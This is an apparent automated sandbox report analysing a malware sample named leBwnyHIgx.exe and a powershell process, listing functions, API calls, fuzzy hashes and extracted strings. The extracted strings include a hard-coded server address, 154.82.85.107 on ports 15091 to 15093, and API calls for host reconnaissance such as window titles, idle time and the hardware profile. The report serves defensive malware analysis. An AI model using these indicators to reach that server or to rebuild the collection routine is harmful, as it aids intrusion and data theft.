Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 9c21d3b5b8c0c1685b67bbc501507b7d4cc9a8cf7c60a7f7fe624829d87963ca
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 0AD017B0D002099F8780EFACC84156EFBF4EB48200F20C5AA8908E3301F7329A12CBD1

Function 04A08748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fd3c7d6a2732b37c1b93bdaab8a485db11e1b046e41f4f588e9411f2716451
Instruction ID: 7f6dedde079c8546b8496bf83250ad874f7ff77156c95ff828d882bdf0db4664
Opcode Fuzzy Hash: e9fd3c7d6a2732b37c1b93bdaab8a485db11e1b046e41f4f588e9411f2716451
Instruction Fuzzy Hash: A5D017308042098FCF48BBA4E85B4BDBB34FA10301F418169D907521D5EA352A6ACAC5

Function 04A08810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347a1040ff67e53d31996c8f2af94c516579b62ac466ed29d8596f4e159fa267
Instruction ID: 59d01d3c0526a4632ef3e892d7f57e03b521941d106d9432b20f474c21881200
Opcode Fuzzy Hash: 347a1040ff67e53d31996c8f2af94c516579b62ac466ed29d8596f4e159fa267
Instruction Fuzzy Hash: E6D01234A0830A8FCB48EFA4E44646DBFB5A744300F008159D94593384EA346811CBC5

Function 04A07932 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abf297ed2e9278f39ebb6ffd41f72278319e66d5de32019a079a27ec726424b
Instruction ID: c097aecb64355e66317c319276d2de9b331854b5c27095009f12c46b31e930af
Opcode Fuzzy Hash: 7abf297ed2e9278f39ebb6ffd41f72278319e66d5de32019a079a27ec726424b
Instruction Fuzzy Hash: C7D0C93414D7C4AFCB5B9F7995948193F706E4313431A44EFD98A9F1B3CA268489DF06

Function 04A07EA0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e647f31cf7a18eb61f3c5976290f122290f9eab97c500f2850799774292b8d
Instruction ID: 2aae140229547438c29f9d8f5b9feefdd9de7fae673b326d39e1b0af07663a1c
Opcode Fuzzy Hash: 99e647f31cf7a18eb61f3c5976290f122290f9eab97c500f2850799774292b8d
Instruction Fuzzy Hash: CDC08C0A40E3C00EEF03833458D914ABFB10E8343930A41CBC081CEC63C4188C0BC703

Function 04A07940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6d9a6e92b5023819f18acad0081dd71444539ae9173d73ea11ab87ce30b30f
Instruction ID: 71c6038ceb9241d229774ee1509931a95f21705f4ff5fa8c38637031ecc4727c
Opcode Fuzzy Hash: 2d6d9a6e92b5023819f18acad0081dd71444539ae9173d73ea11ab87ce30b30f
Instruction Fuzzy Hash: 6BB09230044B08CFC648AFB5A4048147329BB4021538104A9EE0E1A2928F36E888DE48

Non-executed Functions

Function 077E1BE0 Relevance: 20.4, Strings: 16, Instructions: 406COMMON

Download Yara Rule

Strings

84Fl, xrefs: 077E1F76
4'tq, xrefs: 077E1C86
tPtq, xrefs: 077E1FEB
4'tq, xrefs: 077E1F95
JIl, xrefs: 077E200B
rHl, xrefs: 077E1C5D
4'tq, xrefs: 077E1F89
JIl, xrefs: 077E2017
JIl, xrefs: 077E20C2
JIl, xrefs: 077E20CE
tPtq, xrefs: 077E1FDF
84Fl, xrefs: 077E1F6C
rHl, xrefs: 077E1C53
$c;k, xrefs: 077E20B4
JIl, xrefs: 077E1FA1
4'tq, xrefs: 077E1C92

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: $c;k$4'tq$4'tq$4'tq$4'tq$84Fl$84Fl$tPtq$tPtq$JIl$JIl$JIl$JIl$JIl$rHl$rHl
API String ID: 0-2538519358
Opcode ID: cacae04502644dab8f0f48bb7524bc5fedb1ee12181a9a412eb7fe9a06361b92
Instruction ID: 6d846ecb2421dcc7198e1ee45aeda93c0b2888ece446c29793019e5e885dcd8b
Opcode Fuzzy Hash: cacae04502644dab8f0f48bb7524bc5fedb1ee12181a9a412eb7fe9a06361b92
Instruction Fuzzy Hash: 4CD14CB1B0420A8FCB25CB69C411A66FBBABFC9391F14C4ABD515CF256DB31C891C7A1

Function 077E3928 Relevance: 12.8, Strings: 10, Instructions: 320COMMON

Download Yara Rule

Strings

tPtq, xrefs: 077E39B1
>l, xrefs: 077E3A1D
$tq, xrefs: 077E3C0E
4'tq, xrefs: 077E3B35
4'tq, xrefs: 077E3B29
tPtq, xrefs: 077E39A5
>l, xrefs: 077E3A0F
$tq, xrefs: 077E393A
$tq, xrefs: 077E396C
$tq, xrefs: 077E3960

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$tPtq$tPtq$$tq$$tq$$tq$$tq$>l$>l
API String ID: 0-2759691463
Opcode ID: dd740f8adca086d536004acf34e257a3a0dddc699236ad66dbc038ec9fe8a752
Instruction ID: e0c4ec847208efad25c69e67c53c0e5dd432e5bf5cfb4b30499e07beb1cbaaef
Opcode Fuzzy Hash: dd740f8adca086d536004acf34e257a3a0dddc699236ad66dbc038ec9fe8a752
Instruction Fuzzy Hash: ABA168B17043559FD7219B798811B76BBBAAFCA290F14846AE446CF291DB31CC81C7A1

Function 077E0FB8 Relevance: 12.7, Strings: 10, Instructions: 184COMMON

Download Yara Rule

Strings

$tq, xrefs: 077E1229
$tq, xrefs: 077E1044
`Qtq, xrefs: 077E1153
tPtq, xrefs: 077E1127
fyq, xrefs: 077E10A2
$tq, xrefs: 077E1253
`Qtq, xrefs: 077E10ED
$tq, xrefs: 077E1081
$tq, xrefs: 077E1065
84Fl, xrefs: 077E10D4

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: fyq$84Fl$`Qtq$`Qtq$tPtq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-761189167
Opcode ID: e8ecfaf15a5c447669c4f5e3f389124b9e2e0f01abd080c7f4b6604a45bc180d
Instruction ID: 88e3fc40696d2bb3859ee323e23a9ce7c794d6aa8dc66ed01656a2996140b1e2
Opcode Fuzzy Hash: e8ecfaf15a5c447669c4f5e3f389124b9e2e0f01abd080c7f4b6604a45bc180d
Instruction Fuzzy Hash: 5061AEB070420EDFDB24CE49C846BAAB7BABF4D391F958855E8019B290C735DD90CBA1

Function 077E3678 Relevance: 8.9, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

$tq, xrefs: 077E382A
$tq, xrefs: 077E3836
>l, xrefs: 077E387B
>l, xrefs: 077E386D
4'tq, xrefs: 077E3722
$tq, xrefs: 077E37FF
4'tq, xrefs: 077E372E

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq$>l$>l
API String ID: 0-3697895749
Opcode ID: abe35def053f3393e21e7fe51cbe94757cad72da14a58518413a87d84e312f49
Instruction ID: ecbbff83b8ea7778623439dc0c97bdcdb673a323fdd073eb2daa65a461a3f801
Opcode Fuzzy Hash: abe35def053f3393e21e7fe51cbe94757cad72da14a58518413a87d84e312f49
Instruction Fuzzy Hash: A3515CF17043469FDB2586798811B6AFBFAAFCA2A1F24847BD445CB251DB31C881C7A1

Function 077E0284 Relevance: 7.6, Strings: 6, Instructions: 143COMMON

Download Yara Rule

Strings

4'tq, xrefs: 077E02F7
4'tq, xrefs: 077E02EB
$tq, xrefs: 077E0352
4'tq, xrefs: 077E0373
$tq, xrefs: 077E035E
4'tq, xrefs: 077E037F

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$$tq$$tq
API String ID: 0-1361008733
Opcode ID: 4a5aebff1410b713a8dfd50848c2997b782767692f307a95ca16a2ad88de175c
Instruction ID: 10707209b4660b58ff58d7a08ea20fc71c943b21bfd13ffc85b76da026009f83
Opcode Fuzzy Hash: 4a5aebff1410b713a8dfd50848c2997b782767692f307a95ca16a2ad88de175c
Instruction Fuzzy Hash: DD41E4B160E3D54FC72752782C205A6AFB95F8B19073A05DBC481DF297D9944C4AC3B3

Function 04A07A21 Relevance: 6.5, Strings: 5, Instructions: 241COMMON

Download Yara Rule

Strings

tMHl, xrefs: 04A07AD4
`uq, xrefs: 04A07B23
`uq, xrefs: 04A07C44
`uq, xrefs: 04A07BA2
`uq, xrefs: 04A07CC2

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: tMHl$`uq$`uq$`uq$`uq
API String ID: 0-2489500751
Opcode ID: 75b19a6527044d1c7940923adf10aa5264449134f10e4917d04a4af9ac774b5a
Instruction ID: db55d47dfb731e3cd01d35f0bb49617a9a75fb5fca19289d19a0be42f6ed6034
Opcode Fuzzy Hash: 75b19a6527044d1c7940923adf10aa5264449134f10e4917d04a4af9ac774b5a
Instruction Fuzzy Hash: C0B1A574A006099FDB45DFA9D480A9DFBF2FF88300F108629E419AB355EB34A945CF91

Function 04A07A30 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

tMHl, xrefs: 04A07AD4
`uq, xrefs: 04A07B23
`uq, xrefs: 04A07C44
`uq, xrefs: 04A07BA2
`uq, xrefs: 04A07CC2

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: tMHl$`uq$`uq$`uq$`uq
API String ID: 0-2489500751
Opcode ID: 0f436721e228a38b6ddde8c466285b6cd773f2b87bf0232016588576faf3f07c
Instruction ID: 0fb63bc3a6df859c04a2e950473d00ab62232c971dbe1e0d91becc7d8049b745
Opcode Fuzzy Hash: 0f436721e228a38b6ddde8c466285b6cd773f2b87bf0232016588576faf3f07c
Instruction Fuzzy Hash: ACB18574E006099FDB54DFA9D980A9DFBF2FF88300F108629E419AB354EB74A945CF91

Function 04A07210 Relevance: 6.5, Strings: 5, Instructions: 216COMMON

Download Yara Rule

Strings

tMHl, xrefs: 04A07AD4
`uq, xrefs: 04A07B23
`uq, xrefs: 04A07C44
`uq, xrefs: 04A07BA2
`uq, xrefs: 04A07CC2

Memory Dump Source

Source File: 00000003.00000002.1703943312.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_powershell.jbxd

Similarity

API ID:
String ID: tMHl$`uq$`uq$`uq$`uq
API String ID: 0-2489500751
Opcode ID: c638bc83c0b3dbe3ebf7938920a4834fed424bccc2957bfa4ccac27c086ab942
Instruction ID: d5235e1254afd84b7e6ebf0370dbafa46579896e17e7e38ac3a3e192674251d4
Opcode Fuzzy Hash: c638bc83c0b3dbe3ebf7938920a4834fed424bccc2957bfa4ccac27c086ab942
Instruction Fuzzy Hash: D9A19378E006099FDB54DFA9D990A9DFBF2FF48300F108629E419AB355EB34A945CF90

Function 077E2270 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

JIl, xrefs: 077E229A
JIl, xrefs: 077E23C5
JIl, xrefs: 077E237F
JIl, xrefs: 077E22A4

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: JIl$JIl$JIl$JIl
API String ID: 0-3186157469
Opcode ID: b057c390c86d417d9aa87e9c18461440e08cb3d40aeef0b07cdf9cea43f32a44
Instruction ID: c1b7353db6a0560abeca2696a5acc05cc618333dcc1f20265f8b7be0bf85a351
Opcode Fuzzy Hash: b057c390c86d417d9aa87e9c18461440e08cb3d40aeef0b07cdf9cea43f32a44
Instruction Fuzzy Hash: 9041E7F16087559FCB218B648401AA6BFBCBF4B290F0984A7D8549F553C734C984CBA2

Function 077E5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$tq, xrefs: 077E57F4
$tq, xrefs: 077E5800
$tq, xrefs: 077E57AA
$tq, xrefs: 077E57C6

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: 4c9547673886fefb5b23f54b6b38655612da001a736ffdca0cfbc406cd6dd233
Instruction ID: a82c34ca5400ff80e7a903a8ead412f106ad5082d19ff919c0fa3017cc4a3e9e
Opcode Fuzzy Hash: 4c9547673886fefb5b23f54b6b38655612da001a736ffdca0cfbc406cd6dd233
Instruction Fuzzy Hash: 7C2168B271421AABEB34553E9C10B37B7DE9BC9398F24843AE905CB381ED75C8618361

Function 077E2108 Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

JIl, xrefs: 077E2156
JIl, xrefs: 077E214A
$tq, xrefs: 077E2166
$tq, xrefs: 077E2172

Memory Dump Source

Source File: 00000003.00000002.1715618775.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID: $tq$$tq$JIl$JIl
API String ID: 0-3054621161
Opcode ID: 2e338b2dca8be57632cc3b8e8a117164111039e371950ff6bceb2127d72b268a
Instruction ID: 908324204fe36f57fc58f4f15679639f572d4db6ed923529a0ff1f04e3c27535
Opcode Fuzzy Hash: 2e338b2dca8be57632cc3b8e8a117164111039e371950ff6bceb2127d72b268a
Instruction Fuzzy Hash: A901CCB260E7924FC723922C9C1085AAF6E6F87290B1949D7C684DF26BC9348E45C363

Analysis Process: leBwnyHIgx.exePID: 180, Parent PID: 2004COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	82.1%
Signature Coverage:	0.1%
Total number of Nodes:	1578
Total number of Limit Nodes:	44

Executed Functions

Function 03075430 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0307F707: _malloc.LIBCMT ref: 0307F721

_memset.LIBCMT ref: 0307546C
_memset.LIBCMT ref: 03075485
_memset.LIBCMT ref: 03075495
gethostname.WS2_32(?,00000032), ref: 030754A3
gethostbyname.WS2_32(?), ref: 030754AD
inet_ntoa.WS2_32 ref: 030754C5
_strcat_s.LIBCMT ref: 030754D8
_strcat_s.LIBCMT ref: 030754F1
inet_ntoa.WS2_32 ref: 0307551A
_strcat_s.LIBCMT ref: 0307552D
_strcat_s.LIBCMT ref: 03075546
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03075573
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000002,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03075587
GetLastInputInfo.USER32(?), ref: 0307559A
GetTickCount.KERNEL32 ref: 030755A0
wsprintfW.USER32 ref: 030755D5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 030755E8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000296,00000000), ref: 030755FC
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03075653
wsprintfW.USER32 ref: 0307566C
GetForegroundWindow.USER32 ref: 03075695
GetWindowTextW.USER32(00000000,000006CE,000000FA), ref: 030756AC
lstrlenW.KERNEL32(000008CC), ref: 030756D3
lstrlenW.KERNEL32(00000994), ref: 03075739
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 030757AA
GetProcAddress.KERNEL32(00000000), ref: 030757B1
GetNativeSystemInfo.KERNEL32(?), ref: 030757C2
GetSystemInfo.KERNEL32(?), ref: 030757CD
wsprintfW.USER32 ref: 03075806
GetCurrentProcessId.KERNEL32 ref: 03075818
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 0307582E
K32GetProcessImageFileNameW.KERNEL32(00000000,?,00000104), ref: 0307584B
CloseHandle.KERNEL32(03095164), ref: 0307587F
GetTickCount.KERNEL32 ref: 030758E9
__time64.LIBCMT ref: 030758F8
__localtime64.LIBCMT ref: 0307592F
wsprintfW.USER32 ref: 03075968
GetLocaleInfoW.KERNEL32(00000800,00000002,00000F46,00000040), ref: 0307597D
GetSystemDirectoryW.KERNEL32(00001184,00000032), ref: 0307598C
GetCurrentHwProfileW.ADVAPI32(?), ref: 03075999

Part of subcall function 030780F0: GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03078132
Part of subcall function 030780F0: lstrcmpiW.KERNEL32(?,A:\), ref: 03078166
Part of subcall function 030780F0: lstrcmpiW.KERNEL32(?,B:\), ref: 03078176
Part of subcall function 030780F0: QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 030781A6
Part of subcall function 030780F0: lstrlenW.KERNEL32(?), ref: 030781B7
Part of subcall function 030780F0: __wcsnicmp.LIBCMT ref: 030781CE
Part of subcall function 030780F0: lstrcpyW.KERNEL32(00000AD4,?), ref: 03078204

Strings

2024.12.25, xrefs: 03075758
kernel32.dll, xrefs: 0307576F
X86 %s, xrefs: 03075800
AppEvents, xrefs: 030756B6, 0307571C
REMARK, xrefs: 03075746
GetNativeSystemInfo, xrefs: 0307576A
x64, xrefs: 030757ED
X86, xrefs: 030759B1, 030759D3
Network, xrefs: 030756C2, 03075728
%d min, xrefs: 030755CF
GROUP, xrefs: 030756E0
x86, xrefs: 030757F4, 030757F9
1.0, xrefs: 03075702

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Info$ByteCharMultiSystemWide_strcat_swsprintf$Process_memsetlstrlen$CountCurrentHandleTickWindowinet_ntoalstrcmpi$AddressCloseDeviceDirectoryDriveFileForegroundImageInputLastLocaleLogicalModuleNameNativeOpenProcProfileQueryStringsText__localtime64__time64__wcsnicmp_mallocgethostbynamegethostnamelstrcpy
String ID: %d min$1.0$2024.12.25$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X86$X86 %s$kernel32.dll$x64$x86
API String ID: 1101047656-4125556267
Opcode ID: 652b7bdb181bed7d872046d9ca5c6d8ea17fc3009991f41d0abf9d838b95b5e0
Instruction ID: 3fb3cfb9101157a24a722d6bacb8bd11023b11e1c24f115a1fc988c5680ffd27
Opcode Fuzzy Hash: 652b7bdb181bed7d872046d9ca5c6d8ea17fc3009991f41d0abf9d838b95b5e0
Instruction Fuzzy Hash: 11F1C7B5942308BFDB24EB64CC45FDB73BCBF88700F004959E61AAB181EA74A645CF59

Function 026C0032 Relevance: 72.5, APIs: 3, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 026C04AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 026C04DE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 026C04F5

Strings

Vi, xrefs: 026C012C
G, xrefs: 026C0205
ee, xrefs: 026C00F0
t, xrefs: 026C0187
P, xrefs: 026C0176
F, xrefs: 026C018C
fo, xrefs: 026C022C
yA, xrefs: 026C0125
tNat, xrefs: 026C020A
st, xrefs: 026C01AD
mI, xrefs: 026C0221
Via, xrefs: 026C0312
a, xrefs: 026C011C
b, xrefs: 026C0287
ctio, xrefs: 026C026B
a, xrefs: 026C013E
p, xrefs: 026C00F7
Rt, xrefs: 026C0233
tu, xrefs: 026C0166
Li, xrefs: 026C010C
otec, xrefs: 026C017F
o, xrefs: 026C01C9
a, xrefs: 026C016D
Cach, xrefs: 026C01FA
A, xrefs: 026C0244
S, xrefs: 026C00E7
oc, xrefs: 026C0154
Ta, xrefs: 026C027D
Syst, xrefs: 026C0219
A, xrefs: 026C0147
iv, xrefs: 026C0212
tu, xrefs: 026C0137
Lo, xrefs: 026C00FC
ucti, xrefs: 026C01BE
ushI, xrefs: 026C019B
Fu, xrefs: 026C025A
b, xrefs: 026C0113
a, xrefs: 026C0103

Memory Dump Source

Source File: 00000005.00000002.4133872935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26c0000_leBwnyHIgx.jbxd

Similarity

API ID: AllocVirtual$InfoNativeSystem
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 4117132724-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 0c9ad89cc95d860cf8c6a412b6b7e861e272f514667ba0a5d02e17964a2f73de
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 71627731508385CFD724DF64C840BABBBE4EF94704F24492EE9C99B252E7709989CB96

Function 00D90032 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00D904AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 00D904DE

Strings

yA, xrefs: 00D90125
ushI, xrefs: 00D9019B
tu, xrefs: 00D90166
F, xrefs: 00D9018C
P, xrefs: 00D90176
fo, xrefs: 00D9022C
otec, xrefs: 00D9017F
Fu, xrefs: 00D9025A
Syst, xrefs: 00D90219
a, xrefs: 00D9011C
ucti, xrefs: 00D901BE
Via, xrefs: 00D90312
ctio, xrefs: 00D9026B
tNat, xrefs: 00D9020A
mI, xrefs: 00D90221
a, xrefs: 00D90103
o, xrefs: 00D901C9
ee, xrefs: 00D900F0
b, xrefs: 00D90287
tu, xrefs: 00D90137
oc, xrefs: 00D90154
Cach, xrefs: 00D901FA
Vi, xrefs: 00D9012C
Lo, xrefs: 00D900FC
b, xrefs: 00D90113
Rt, xrefs: 00D90233
a, xrefs: 00D9016D
A, xrefs: 00D90244
t, xrefs: 00D90187
Li, xrefs: 00D9010C
st, xrefs: 00D901AD
p, xrefs: 00D900F7
G, xrefs: 00D90205
Ta, xrefs: 00D9027D
a, xrefs: 00D9013E
S, xrefs: 00D900E7
A, xrefs: 00D90147
iv, xrefs: 00D90212

Memory Dump Source

Source File: 00000005.00000002.4133424072.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d90000_leBwnyHIgx.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 63016dfa7abe4ad6d696b787901e04ac914e03cecb696f51cfac4f10861be449
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: 60628C715083858FDB20CF24D840BABBBE5FF94714F18492DE9C99B251E770D988CBA6

Function 0307DF10 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03080542: __fassign.LIBCMT ref: 03080538

Sleep.KERNEL32(00000000), ref: 0307DF64
CloseHandle.KERNEL32(00000000), ref: 0307DF91
GetLocalTime.KERNEL32(?), ref: 0307DFA9
wsprintfW.USER32 ref: 0307DFE0
SetUnhandledExceptionFilter.KERNEL32(030775B0), ref: 0307DFEE
CloseHandle.KERNEL32(00000000), ref: 0307E007

Part of subcall function 0307F707: _malloc.LIBCMT ref: 0307F721

EnumWindows.USER32(03075CC0,?), ref: 0307E19D
Sleep.KERNEL32(00004E20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0307E1AA
EnumWindows.USER32(03075CC0,?), ref: 0307E1BE
Sleep.KERNEL32(00000BB8), ref: 0307E1F5
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0307E241
Sleep.KERNEL32(00000FA0), ref: 0307E2C4
RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 0307E2EB
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0307E30B
CloseHandle.KERNEL32(?), ref: 0307E35D
Sleep.KERNEL32(000003E8,?,?), ref: 0307E3A4
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0307E3D0
CloseHandle.KERNEL32(?,?,?), ref: 0307E3D7
Sleep.KERNEL32(000003E8,?,?), ref: 0307E3E2
CloseHandle.KERNEL32(?), ref: 0307E400
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0307E425
CloseHandle.KERNEL32(?,?,?), ref: 0307E42C
Sleep.KERNEL32(00000000,?,?,?), ref: 0307E446
CloseHandle.KERNEL32(?), ref: 0307E464

Strings

154.82.85.107, xrefs: 0307E071
154.82.85.107, xrefs: 0307E117
154.82.85.107, xrefs: 0307E0B9
Console, xrefs: 0307E2D5
15092, xrefs: 0307E0D0
154.82.85.107, xrefs: 0307E07B, 0307E0C3, 0307E121, 0307E1E5, 0307E253
15091, xrefs: 0307E08F, 0307E0D7, 0307E135, 0307E1CE, 0307E20C
15091, xrefs: 0307E088
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 0307DFDA
15093, xrefs: 0307E12E
IpDatespecial, xrefs: 0307E305

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

